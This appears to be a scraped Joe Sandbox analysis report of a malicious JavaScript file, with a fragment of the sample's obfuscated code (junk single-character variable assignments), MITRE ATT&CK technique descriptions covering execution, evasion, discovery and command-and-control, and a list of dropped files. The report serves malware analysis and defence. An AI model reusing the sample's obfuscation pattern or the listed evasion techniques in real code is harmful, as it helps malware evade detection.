1557	thmqhrgmi = "z";
1558	thmqhrgmi = "b";
1559	thmqhrgmi = "j";
1560	thmqhrgmi = "p";
1561	thmqhrgmi = "W";
1562	thmqhrgmi = "y";
1563	thmqhrgmi = "d";
1564	thmqhrgmi = "y";
1565	thmqhrgmi = "m";
1566	thmqhrgmi = "T";
1567	thmqhrgmi = "Z";
1568	thmqhrgmi = "m";
1569	thmqhrgmi = "X";
1570	thmqhrgmi = "l";
1571	thmqhrgmi = "y";
1572	thmqhrgmi = "R";
1573	thmqhrgmi = "b";
1574	thmqhrgmi = "l";
1575	thmqhrgmi = "G";
1576	thmqhrgmi = "Q";
1577	thmqhrgmi = "E";
1578	thmqhrgmi = "y";
1579	thmqhrgmi = "q";
1580	vxfqs = "I";
1581	vxfqs = "D";
1582	vxfqs = "H";
1583	vxfqs = "i";
1584	vxfqs = "U";
1585	vxfqs = "I";
1586	vxfqs = "z";
1587	vxfqs = "b";
1588	vxfqs = "p";
1589	vxfqs = "k";
1590	vxfqs = "O";
1591	vxfqs = "f";
1592	vxfqs = "B";
1593	vxfqs = "d";
1594	sipmr = "Q";
1595	sipmr = "p";
1596	sipmr = "t";
1597	sipmr = "n";
1598	sipmr = "T";
1599	sipmr = ":";
1600	jmnwq ( );	jmnwq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 71621480653828912.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2ff203c-fdf0-4b76-851c-179993ce9d02.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8128

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
71621480653828912.js